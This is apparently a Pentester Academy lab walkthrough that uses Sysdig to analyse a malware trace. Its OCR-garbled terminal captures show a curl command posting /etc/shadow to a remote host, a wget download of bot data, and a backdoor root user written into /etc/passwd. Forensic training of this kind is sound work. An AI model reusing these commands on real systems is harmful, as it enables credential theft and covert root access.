PENTESTER ACADEMYTOOL BOX PENTESTING

OF THE PENTESTER ACADEMYTOOL BOX PENTESTING

OF THE PENTESTING HACKER PENTESTER

TEAM LABSPENTES TO THE PENTESTER

TEAM LABSPENTES TO THE PENTESTER

OF THE PENTESTING HACKER

THE PENTESTING HACKER

TOOL BOX

OF THE PENTESTING

Name	Malware I
URL	https://attackdefense.com/challengedetails?cid=1098
Туре	Endpoint Security: Sysdig

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. A sensitive system file has been posted to a remote HTTP server. Provide full path of that file.

Answer: /etc/shadow

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

	For: whole machine (194905 evts, 72.24s) Filter: evt.type!=switch
Select View	Containers Errors
Connections	This view shows system error counters for each container running
Containers	er'.
Containers Errors	
Directories	Tips
Errors	If you click 'enter' on a selection in this chart, you will be a
File Opens List	
Files	Digging into a container by clicking on F6 will let you explore
I/O by Type	



	: Connections Fo		macnine 72.24s) Filter: 1	Ed typo-in	14 on fd tu	no-inve and	fd namel-''	
L4PROTO	THE RESERVE OF THE PERSON NAMED IN COLUMN 2 IS NOT THE PERSON NAME	LPORT	RIP	RPORT	BPS IN		IOPS Command	
	ac11:3:ac11:2:0							al:4444/dd59ae3dfb1bb22/details
tcp						0 1	A STATE OF THE PARTY OF THE PAR	
tcp	ac11:3:ac11:2:0		ac11:2:d2a8:b315		4.47	15.49		curl -F data=@/etc/shadow qzcdxvbqokp.dev.local:555
tcp	ac11:3:ac11:2:0		ac11:2:cae1:5c11		2.27	2.38		/usr/bin/python2.7 ./client.py
udp	ac11:3:808:808:	b 57279	808:808:bfdf:350	53	0.61	0.61	0.07	nslookup enaidsdkvvcgfgxz.bit.local
udp	ac11:3:808:808:	1 44306	808:808:12ad:350	53	0.54	0.54	0.07	nslookup qzcdxvbqokp.dev.local
udp	ac11:3:808:808:	c 33736	808:808:c883:350	53	0.51	0.51	0.07	nslookup lxptmnqft.pqr.local
udp	ac11:3:808:808:	3 38202	808:808:3a95:350	53	0.50	0.50	0.07	nslookup dewrszxasdaf.onion
udp	ac11:3:808:808:	7 59262	808:808:7ee7:350	53	0.46	0.46	0.07	nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:0	6 60630	7f00:1:d6ec:d6ec	60630	0.01	0.01	0.12	nslookup qzcdxvbqokp.dev.local
udp	7f00:1:7f00:1:8	8 42376	7f00:1:88a5:88a5	42376	0.01	0.01	0.12	nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:0	6 49622	7f00:1:d6c1:d6c1	49622	0.01	0.01	0.12	nslookup lxptmnqft.pqr.local
udp	7f00:1:7f00:1:1	7 42775	7f00:1:17a7:17a7	42775	0.01	0.01	0.12	nslookup dewrszxasdaf.onion
udp	7f00:1:7f00:1:3	8 49208	7f00:1:38c0:38c0	49208	0.01	0.01	0.12	nslookup enaidsdkvvcgfgxz.bit.local
tcp	ac11:3:ac11:2:7	4 57716	ac11:2:74e1:5c11	4444	0.00	0.00	0.03	/usr/bin/python2.7 ./server.py
tcp	7f00:1:7f00:1:7	c 49788	7f00:1:7cc2:b80b	3000	0.00	0.00	0.06	curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:1	1 45297	7f00:1:f1b0:b80b	3000	0.00	0.00	0.04	curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:2	e 36910	7f00:1:2e90:b80b	3000	0.00	0.00	0.04	curl -f http://localhost:3000/health
tcp	7f00:1:7f00:1:7	a 49786	7f00:1:7ac2:b80b	3000	0.00	0.00	0.06	curl -f http://localhost:3000/health

There is a curl request to send '/etc/shadow' file to the remote server.

Q2. A service running on the system has added a backdoor user. What is the name of that user?

Answer: mallory

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Files' view under the 'Select View' menu (Press F2).

Viewing: Processes	For: whole machine
Source: trace.scap	(194905 evts, 72.24s) Filter: evt.type!=switch
Select View	Files
Connections	This view lists the files that were accessed on the file system.
Containers	
Containers Errors	Tips
Directories	This view can be applied not only to the whole machine, but also
Errors	
File Opens List	Columns
Files	BYTES IN: Amount of bytes read from the file. For live captures,
I/O by Type	BYTES OUT: amount of bytes written to the file. For live capture
K8s Controllers	OPS: Number of I/O operations on the file. This counts all the o
K8s Deployments	if I/O bytes for the file are zero.
K8s Namespaces	OPENS: Number times the file has been opened during the sample i
K8s Pods	ERRORS: Number I/O errors that happened on this file during the
K8s ReplicaSets	FILENAME: The file name including its full path.
K8s Services	

Step 2: Press F4 to search for '/etc/passwd' file.

Step 3: Press F5 to view the I/O Activity associated with the file '/etc/passwd'.

```
Viewing: I/O activity For: fd.name=/etc/passwd
Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=file or fd.type=directory and fd.name!='') and fd.name=/etc/passwd)
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Write 74B to /etc/passwd (client.py)
mallory:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:mallory:/home/mallory:/bin/bash
```

Entry for a user named 'mallory' has been added and it is assigned uid=0 and gid=0.

Q3. A TCP connection is established with a remote machine. What is the IP address of the remote machine?

Answer: 172.17.0.2

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

```
Viewing: Processes For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
Select View
                   Containers
Connections
                   List all the containers running on this machine, and the resources that each of them uses.
Containers
Containers Errors
Directories
                   Select a container and click enter to drill down into it. At that point, you will be able
Errors
File Opens List
                   Columns
Files
                   CPU: Amount of CPU used by the container.
I/O by Type
                   PROCS: Number of processes currently running inside the container.
K8s Controllers
                   THREADS: Number of threads currently running inside the container.
K8s Deployments
                   VIRT: Total virtual memory for the process.
K8s Namespaces
                   RES: Resident non-swapped memory for the process.
K8s Pods
                   FILE: Total (input+output) file I/O bandwidth generated by the container, in bytes per second
K8s ReplicaSets
                   NET: Total (input+output) network bandwidth generated by the container, in bytes per second
K8s Services
                   ENGINE: Container type.
Marathon Apps
                   IMAGE: Container image name.
Marathon Groups
                   ID: Container ID. The format of this column depends on the containerization technology. For
                   NAME: Name of the container.
Mesos Frameworks
```

Source:	trace.scap (194905 evts,	72.24s) Filter:	fd.type=ipv4 o	r fd.type=i	pv6 and fd.na	me!=''	
L4PROTO	LIP	LPORT	RIP	RPORT E	BPS IN	BPS OUT IOPS	Command	
tcp	ac11:3:ac11:	2:c8 57800	ac11:2:c8e1:5c11	4444 4.71 3.57	7 0.22 wget	qzcdxvbqokp.	dev.loc	al:4444/dd59ae3dfb1bb22/details
tcp	ac11:3:ac11:	2:d2 43218	ac11:2:d2a8:b315	5555	4.47	15.49	0.43	curl -F data=@/etc/shadow qzcdxvbqokp.dev.local:5555
tcp	ac11:3:ac11:	2:ca 57802	ac11:2:cae1:5c11	4444	2.27	2.38	0.36	/usr/bin/python2.7 ./client.py
udp	ac11:3:808:8	808:b 57279	808:808:bfdf:350	53	0.61	0.61	0.07	nslookup enaidsdkvvcgfgxz.bit.local
udp	ac11:3:808:8	808:1 44306	808:808:12ad:350	53	0.54	0.54	0.07	nslookup qzcdxvbqokp.dev.local
udp	ac11:3:808:8	308:c 33736	808:808:c883:350	53	0.51	0.51	0.07	nslookup lxptmnqft.pqr.local
udp	ac11:3:808:8	808:3 38202	808:808:3a95:350	53	0.50	0.50	0.07	nslookup dewrszxasdaf.onion
udp	ac11:3:808:8	808:7 59262	808:808:7ee7:350	53	0.46	0.46	0.07	nslookup dgcxvpqrt.local
udp	7f00:1:7f00:	1:d6 60630	7f00:1:d6ec:d6ec	60630	0.01	0.01	0.12	nslookup qzcdxvbqokp.dev.local
udp	7f00:1:7f00:	1:88 42376	7f00:1:88a5:88a5	42376	0.01	0.01	0.12	nslookup dgcxvpqrt.local
udp	7f00:1:7f00:	1:d6 49622	7f00:1:d6c1:d6c1	49622	0.01	0.01	0.12	nslookup lxptmnqft.pqr.local
udp	7f00:1:7f00:	1:17 42775	7f00:1:17a7:17a7	42775	0.01	0.01	0.12	nslookup dewrszxasdaf.onion
udp	7f00:1:7f00:	1:38 49208	7f00:1:38c0:38c0	49208	0.01	0.01	0.12	nslookup enaidsdkvvcgfgxz.bit.local
tcp	ac11:3:ac11:	2:74 57716	ac11:2:74e1:5c11	4444	0.00	0.00	0.03	/usr/bin/python2.7 ./server.py
tcp	7f00:1:7f00:	1:7c 49788	7f00:1:7cc2:b80b	3000	0.00	0.00	0.06	curl -f http://localhost:3000/health
udp	7f00:1:7f00:	1:f1 45297	7f00:1:f1b0:b80b	3000	0.00	0.00	0.04	curl -f http://localhost:3000/health
udp	7f00:1:7f00:	1:2e 36910	7f00:1:2e90:b80b	3000	0.00	0.00	0.04	curl -f http://localhost:3000/health
tcp	7f00:1:7f00:	1:7a 49786	7f00:1:7ac2:b80b	3000	0.00	0.00	0.06	curl -f http://localhost:3000/health

Step 2: Select one of the processes using that has an established TCP connection and press Enter.

The 'Connection' column lists the IP address of the remote host.

Q4. A suspicious service running on the system may have sent a file to a remote server using TCP connection. Locate the file content and retrieve the flag from it.

Answer: 1357d6c256f45c020316675cefc2b411

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

```
Viewing: Processes For: whole machine
 Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
 Select View
                          Containers
 Connections
                         List all the containers running on this machine, and the resources that each of them uses.
Containers
Containers Errors Tips
Directories
                          Select a container and click enter to drill down into it. At that point, you will be able
Errors
File Opens List Columns
 Files
                          CPU: Amount of CPU used by the container.
Files

CPU: Amount of CPU used by the container.

I/O by Type

R8s Controllers

K8s Deployments

K8s Namespaces

K8s Namespaces

K8s Pods

CPU: Amount of CPU used by the container.

PROCS: Number of processes currently running inside the container.

VIRT: Total virtual memory for the process.

RES: Resident non-swapped memory for the process.

FILE: Total (input+output) file I/O bandwidth generated by the container.
K8s Pods
                          FILE: Total (input+output) file I/O bandwidth generated by the container, in bytes per sec
K8s ReplicaSets NET: Total (input+output) network bandwidth generated by the container, in bytes per secon
K8s Services
                       ENGINE: Container type.
                        IMAGE: Container image name.
Marathon Apps
Marathon Groups
                          ID: Container ID. The format of this column depends on the containerization technology. Fo
Mesos Frameworks
                          NAME: Name of the container
```

Viewing	: Connections For:	whole r	machine				
Source:	trace.scap (194905	evts,	72.24s) Filter:	fd.type=ipv4 o	r fd.type=ip	v6 and fd.nam	e!=''
L4PROTO	LIP I	PORT	RIP	RPORT	BPS IN B	PS OUT IOPS C	Command
tcp	ac11:3:ac11:2:c8	57800	ac11:2:c8e1:5c11	4444	4.71	3.57	0.22 wget qzcdxvbqokp.dev.local:4444/dd59ae3dfb1bb22/details
tcp	ac11:3:ac11:2:d2 4	43218	ac11:2:d2a8:b315	5555	4.47	15.49	0.43 curl -F data=@/etc/shadow qzcdxvbqokp.dev.local:5555
tcp	ac11:3:ac11:2:ca 5	57802	ac11:2:cae1:5c11	4444 2.27 2.3	8 0.36 /usr/	bin/python2.7	/./client.py
udp	ac11:3:808:808:b	57279	808:808:bfdf:350	53	0.61	0.61	0.07 nslookup enaidsdkvvcgfgxz.bit.local
udp	ac11:3:808:808:1 4	14306	808:808:12ad:350	53	0.54	0.54	0.07 nslookup qzcdxvbqokp.dev.local
udp	ac11:3:808:808:c	33736	808:808:c883:350	53	0.51	0.51	0.07 nslookup lxptmnqft.pqr.local
udp	ac11:3:808:808:3	38202	808:808:3a95:350	53	0.50	0.50	0.07 nslookup dewrszxasdaf.onion
udp	ac11:3:808:808:7	59262	808:808:7ee7:350	53	0.46	0.46	0.07 nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:d6 6	50630	7f00:1:d6ec:d6ec	60630	0.01	0.01	0.12 nslookup qzcdxvbqokp.dev.local
udp	7f00:1:7f00:1:88 4	42376	7f00:1:88a5:88a5	42376	0.01	0.01	0.12 nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:d6 4	19622	7f00:1:d6c1:d6c1	49622	0.01	0.01	0.12 nslookup lxptmnqft.pqr.local
udp	7f00:1:7f00:1:17 4	12775	7f00:1:17a7:17a7	42775	0.01	0.01	0.12 nslookup dewrszxasdaf.onion
udp	7f00:1:7f00:1:38 4	19208	7f00:1:38c0:38c0	49208	0.01	0.01	0.12 nslookup enaidsdkvvcgfgxz.bit.local
tcp	ac11:3:ac11:2:74	57716	ac11:2:74e1:5c11	4444	0.00	0.00	0.03 /usr/bin/python2.7 ./server.py
tcp	7f00:1:7f00:1:7c 4	19788	7f00:1:7cc2:b80b	3000	0.00	0.00	0.06 curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:f1 4	15297	7f00:1:f1b0:b80b	3000	0.00	0.00	0.04 curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:2e	36910	7f00:1:2e90:b80b	3000	0.00	0.00	0.04 curl -f http://localhost:3000/health
tcp	7f00:1:7f00:1:7a 4	19786	7f00:1:7ac2:b80b	3000	0.00	0.00	0.06 curl -f http://localhost:3000/health

Two python process running as client py and server py are using a TCP connection.

Step 2: Press F5 to view the I/O Activity of 'client.py'.

```
Viewing: I/O activity For: fd.name=172.17.0.3:57802->172.17.0.2:4444
Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=ipv4 or fd.type=ipv6 and fd.name!='')
a
----- Write 4B to 172.17.0.3:57802->172.17.0.2:4444 (client.py)
cmds
----- Read 1B from 172.17.0.3:57802->172.17.0.2:4444 (client.py)
a
----- Write 157B to 172.17.0.3:57802->172.17.0.2:4444 (client.py)
flag1=1357d6c256f45c020316675cefc2b411
'uname -a': Linux ea4c2f39fe67 4.15.0-51-
----- Write 4B to 172.17.0.3:57802->172.17.0.2:4444 (client.py)
```

It reveals that the process sent 'flag1' along with some other data to the remote machine at '172.17.0.2'.

It also reveals that 'server.py' received the data sent by this process.

Q5. A file was downloaded to the machine from a remote server using a well known utility. Locate the file content and retrieve the flag from it.

Answer: d5bb0657a3e9aab57a1033e007aa00

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Connections' view under the 'Select View' menu (Press F2).

```
Viewing: Processes For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
      View
                   List all the containers running on this machine, and the resources that each of them uses.
Containers
Containers Errors
Directories
                    Select a container and click enter to drill down into it. At that point, you will be able
Errors
File Opens List
                    Columns
Files
                    CPU: Amount of CPU used by the container.
I/O by Type
                    PROCS: Number of processes currently running inside the container.
K8s Controllers
                    THREADS: Number of threads currently running inside the container.
                    VIRT: Total virtual memory for the process.
K8s Deployments
                    RES: Resident non-swapped memory for the process.
K8s Namespaces
K8s Pods
                    FILE: Total (input+output) file I/O bandwidth generated by the container, in bytes per sec
K8s ReplicaSets
                    NET: Total (input+output) network bandwidth generated by the container, in bytes per secon
K8s Services
                    ENGINE: Container type.
                    IMAGE: Container image name.
Marathon Apps
Marathon Groups
                    ID: Container ID. The format of this column depends on the containerization technology. Fo
Mesos Frameworks
                    NAME: Name of the container.
```

Source:	trace.scap (194905 evts,	72.24s) Filter:	fd.type=ipv4	or fd.typ	e=ipv6 and f	d.name!=''
L4PROTO	LIP LPORT	RIP	RPORT	BPS IN	BPS OUT I	OPS Command
tcp	ac11:3:ac11:2:c8 57800	ac11:2:c8e1:5c11	4444 4.71 3	.57 0.22 w	get qzcdxvbq	okp.dev.local:4444/dd59ae3dfb1bb22/details
tcp	ac11:3:ac11:2:d2 43218	ac11:2:d2a8:b315	5555	4.47	15.49	0.43 curl -F data=@/etc/shadow qzcdxvbqokp.dev.local:5555
tcp	ac11:3:ac11:2:ca 57802	ac11:2:cae1:5c11	4444	2.27	2.38	0.36 /usr/bin/python2.7 ./client.py
udp	ac11:3:808:808:b 57279	808:808:bfdf:350	53	0.61	0.61	0.07 nslookup enaidsdkvvcgfgxz.bit.local
udp	ac11:3:808:808:1 44306	808:808:12ad:350	53	0.54	0.54	0.07 nslookup qzcdxvbqokp.dev.local
udp	ac11:3:808:808:c 33736	808:808:c883:350	53	0.51	0.51	0.07 nslookup lxptmnqft.pqr.local
udp	ac11:3:808:808:3 38202	808:808:3a95:350	53	0.50	0.50	0.07 nslookup dewrszxasdaf.onion
udp	ac11:3:808:808:7 59262	808:808:7ee7:350	53	0.46	0.46	0.07 nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:d6 60630	7f00:1:d6ec:d6ec	60630	0.01	0.01	0.12 nslookup qzcdxvbqokp.dev.local
udp	7f00:1:7f00:1:88 42376	7f00:1:88a5:88a5	42376	0.01	0.01	0.12 nslookup dgcxvpqrt.local
udp	7f00:1:7f00:1:d6 49622	7f00:1:d6c1:d6c1	49622	0.01	0.01	0.12 nslookup lxptmnqft.pqr.local
udp	7f00:1:7f00:1:17 42775	7f00:1:17a7:17a7	42775	0.01	0.01	0.12 nslookup dewrszxasdaf.onion
udp	7f00:1:7f00:1:38 49208	7f00:1:38c0:38c0	49208	0.01	0.01	0.12 nslookup enaidsdkvvcgfgxz.bit.local
tcp	ac11:3:ac11:2:74 57716	ac11:2:74e1:5c11	4444	0.00	0.00	0.03 /usr/bin/python2.7 ./server.py
tcp	7f00:1:7f00:1:7c 49788	7f00:1:7cc2:b80b	3000	0.00	0.00	0.06 curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:f1 45297	7f00:1:f1b0:b80b	3000	0.00	0.00	0.04 curl -f http://localhost:3000/health
udp	7f00:1:7f00:1:2e 36910	7f00:1:2e90:b80b	3000	0.00	0.00	0.04 curl -f http://localhost:3000/health
tcp	7f00:1:7f00:1:7a 49786	7f00:1:7ac2:b80b	3000	0.00	0.00	0.06 curl -f http://localhost:3000/health

wget is used to download 'details' file from the remote server.

Step 2: Press F5 to view the I/O Activity of the wget process.

```
Viewing: I/O activity For: fd.name=172.17.0.3:57800->172.17.0.2:4444

Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=ipv4 or fd.type=ipv6 and fd.name!='')

----- Write 176B to 172.17.0.3:57800->172.17.0.2:4444 (wget)

GET /dd59ae3dfb1bb22/details HTTP/1.1

User-Agent: Wget/1.20.1 (linux-gnu)

Acce
------ Read 176B from 172.17.0.3:57800->172.17.0.2:4444 (server.py)

GET /dd59ae3dfb1bb22/details HTTP/1.1

User-Agent: Wget/1.20.1 (linux-gnu)

Acce
------ Write 82B to 172.17.0.3:57800->172.17.0.2:4444 (server.py)

Bot_ID=KXTCRV-9237

Remote_IP=192.168.31.121

flag2=d5bb0657a3e9aab57a1033e007aa00
------ Read 82B from 172.17.0.3:57800->172.17.0.2:4444 (wget)

Bot_ID=KXTCRV-9237

Remote_IP=192.168.31.121

flag2=d5bb0657a3e9aab57a1033e007aa00
------ Read 82B from 172.17.0.3:57800->172.17.0.2:4444 (wget)

Bot_ID=KXTCRV-9237

Remote_IP=192.168.31.121

flag2=d5bb0657a3e9aab57a1033e007aa00
------ Read 82B from 172.17.0.3:57800->172.17.0.2:4444 (wget)
```

It reveals that the process received 'flag2' along with some other data.

Q6. What is the password hash of the backdoor user?

Answer: BXBqpb9BZcZhXLgbee

Command: csysdig -r trace.scap

Step 1: Navigate to the 'Files' view under the 'Select View' menu (Press F2).

```
Viewing: Processes For: whole machine
Source: trace.scap (194905 evts, 72.24s) Filter: evt.type!=switch
Select View
                    Files
Connections
                    This view lists the files that were accessed on the file system.
Containers
Containers Errors
Directories
                    This view can be applied not only to the whole machine, but also
Errors
File Opens List
                    Columns
Files
                    BYTES IN: Amount of bytes read from the file. For live captures,
I/O by Type
                    BYTES OUT: amount of bytes written to the file. For live capture
                    OPS: Number of I/O operations on the file. This counts all the o
K8s Controllers
                    if I/O bytes for the file are zero.
K8s Deployments
                    OPENS: Number times the file has been opened during the sample i
K8s Namespaces
K8s Pods
                    ERRORS: Number I/O errors that happened on this file during the
K8s ReplicaSets
                    FILENAME: The file name including its full path.
K8s Services
```

Step 2: Press F4 to search for /etc/passwd file.

```
Viewing: Files For: whole machine

Source: trace.scap (194905 evts, 72.24s) Filter: fd.type=file or fd.type=directory and fd.name!=''

BYTES IN BYTES OUT OPS OPENS ERRORS FILENAME

2K 74 24 2 0 /etc/passwd

F1Help F2sysdigEnterDone EscClear Text to match: /etc/passwd
```

Step 3: Press F5 to view the I/O Activity associated with the file.

```
Viewing: I/O activity For: fd.name=/etc/passwd
Source: trace.scap (194905 evts, 72.24s) Filter: ((fd.type=file or fd.type=directory and fd.name!='') and fd.name=/etc/passwd)
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Read 926B from /etc/passwd (runc:[1:CHILD])
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
----- Write 74B to /etc/passwd (client.py)
mallory:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:mallory:/home/mallory:/bin/bash
```



References:

- 1. sysdig (https://github.com/draios/sysdig)
- 2. sysdig user guide (https://github.com/draios/sysdig/wiki/sysdig-user-guide)